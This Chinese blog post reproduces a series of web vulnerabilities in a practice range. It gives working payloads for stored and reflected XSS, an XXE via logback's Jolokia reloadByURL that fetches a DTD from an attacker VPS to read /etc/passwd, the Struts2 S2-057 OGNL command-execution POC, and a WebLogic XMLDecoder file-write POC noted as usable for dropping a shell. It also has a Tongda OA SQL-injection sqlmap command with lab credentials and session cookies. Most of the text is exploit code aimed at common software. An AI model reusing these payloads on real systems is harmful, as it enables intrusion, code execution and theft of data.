以下复现均在封神台
内的靶场中完成,欢迎各位小伙伴前去玩耍。
进入登录页面,先用普通用户登陆。
打开个人桌面上 -> 工作日志板块,新建日志,在标题处插入xss语句,并选择共享给管理员,最后保存。
共享给管理员:
由于未作过滤等防护措施,当管理员查看员工日志时,会触发弹窗。
退出当前账户(不要选注销),登陆管理员账号,出现员工日志提醒:
进入日志,触发弹窗。当然,通过桌面进入也能触发。
注册新用户,然后登陆(我这已经有一个了)
进入上方圈出的商店页,点进“漏洞复现”商品页(迫真):
一口气加入购物车—>下一步,直达填地址位置,在地址处插入xss语句(请注意选择货到付款,否则是要钱的)
确认下单后选择查看订单,会触发弹窗,管理员账号亦会触发。
这个漏洞比较直球,首先在后台登陆管理员,进入左侧菜单文件式管理器
此处对上传的文件无任何的过滤,并且路径也很容易得知。此处的test.php
便是我上传的:
直接在文件处,右键打开链接,就能得到路径:
该版本cms后台还有不少其它漏洞点,请自行发掘(百度)。
一个很新的反射型XSS漏洞,来自较新版本的74cms。
打开网址,来到首页。 在url处拼接payload,触发xss:
payload:
http://[此处为靶场网址]/index.php?m=&c=help&a=help_list&key=137244gq1lw%253cscript%253ealert%25281%2529%253c%252fscript%253edutvxlqd4lq&__hash__=d7aa5a382f14d270c3ac4de8392b4e1d_a34adb2b339972672eb447276f69ee88
这是一个有趣的漏洞,首先来到debug页(传送门就是):
构造url创建新用户,同时拼接xss语句,得到已创建的提示:http://[靶场地址]/create_user/?username=<script>alert('haha')</script>
此时再次访问该链接(即创建同一个xss用户),将触发恶意代码:
是不是很怪。
如果网站存在reloadByURL模块,则可以从外部URL重新加载日志记录配置:http://[靶场地址]/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/127.0.0.1!/logback.xml
其中127.0.0.1
可改为你vps的ip,当然你也要在web根目录下创建logback.xml
文件,内容如下:
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE a [ <!ENTITY % remote SYSTEM "http://127.0.0.1:80/file.dtd">%remote;%int;]>
<a>&trick;</a>
了解xxe漏洞的懂哥应该知道,还要创建实体内定义的外部实体文件file.dtd
,同样放在web根目录。内容如下:
<!ENTITY % d SYSTEM "file:///etc/passwd">
<!ENTITY % int "<!ENTITY trick SYSTEM ':%d;'>">
因为我已在本地放置了这两个文件,所以用的是localhost(即 127.0.0.1)。有vps的同学最好用vps测试。最后访问上方的网址,触发xxe漏洞:
可见已返回了/etc/passwd/
中的敏感信息。
介绍
bwapp是一款非常好用的漏洞演示平台,包含有100多个漏洞
SQL, HTML, iFrame, SSI, OS Command, XML, XPath, LDAP,
PHP Code, Host Header and SMTP injections
Authentication, authorization and session management issues
Malicious, unrestricted file uploads and backdoor files
Arbitrary file access and directory traversals
Heartbleed and Shellshock vulnerability
Local and remote file inclusions (LFI/RFI)
Server Side Request Forgery (SSRF)
Configuration issues: Man-in-the-Middle, Cross-Domain policy file,
FTP, SNMP, WebDAV, information disclosures,…
HTTP parameter pollution and HTTP response splitting
XML External Entity attacks (XXE)
HTML5 ClickJacking, Cross-Origin Resource Sharing (CORS)
and web storage issues
Drupal, phpMyAdmin and SQLite issues
Unvalidated redirects and forwards
Denial-of-Service (DoS) attacks
Cross-Site Scripting (XSS), Cross-Site Tracing (XST) and
Cross-Site Request Forgery (CSRF)
AJAX and Web Services issues (JSON/XML/SOAP)
Parameter tampering and cookie poisoning
Buffer overflows and local privilege escalations
PHP-CGI remote code execution
HTTP verb tampering
And much more
特点:
开源的php应用
后台Mysql数据库
可运行在Linux/Windows Apache/IIS
支持WAMP或者XAMPP
因为是类似DVWA的应用,此处不做太多演示(左转百度)。此处只复现一个简单的XSS漏洞:
可知 $name的值由我们输入,所以在投票处闭合a标签:
payload:/><img src=a.png onerror=alert(1)>
可见已触发xss弹窗:
打开页面,测试OGNL表达式${250*250}:
http://[靶场url]/showcase/$%7B255*255%7D/actionChain1.action
可见此时{250x250}的结果已返回到location头中。
接下来使用来自S2-057原理分析与复现过程(POC)的POC执行命令:
${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}
别忘了先进行url编码再拼接进url,最后可得到指令id返回的信息:
进入网站,看到404页面便表示环境正常(也可尝试访问/wls-wsat/CoordinatorPortType查看漏洞页面是否存在):
此处我们进行上传文件的操作(可直接用来写shell)。首先用burpsuite抓包,POST数据
最后访问上传文件的位置,即/wls-wsat/test.txt
,可成功看到文件内容。
POC(POST包中的数据)
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.6.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.txt</string><void method="println">
<string>Successful</string></void><void method="close"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
登陆通达oa系统,普通账户:sql 密码:qazwsx123
在webroot\general\appbuilder\modules\report\controllers\RepdetailController.php
,actionEdit函数中存在 一个$_GET["id"]
; 此处未经过滤,抓包拼接SQL语句
访问:http://oa.wb.aqlab.cn/general/appbuilder/web/report/repdetail/edit?link_type=false&slot={}&id=2
拼接or sleep(1)
拼接or sleep(2)
验证此处存在sql注入,且是sql盲注
可以上sqlmap跑出数据库名
Payload:
sqlmap.py -u "http://oa.wb.aqlab.cn/general/appbuilder/web/report/repdetail/edit?link_type=false&slot={}&id=2" -p id --cookie=" USER_NAME_COOKIE=sql; OA_USER_ID=65; SID_1=b2b5cf; PHPSESSID=f63hisotji1son3anop366c0g0; SID_65=cb39fb6; creat_work=new" --current-db
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.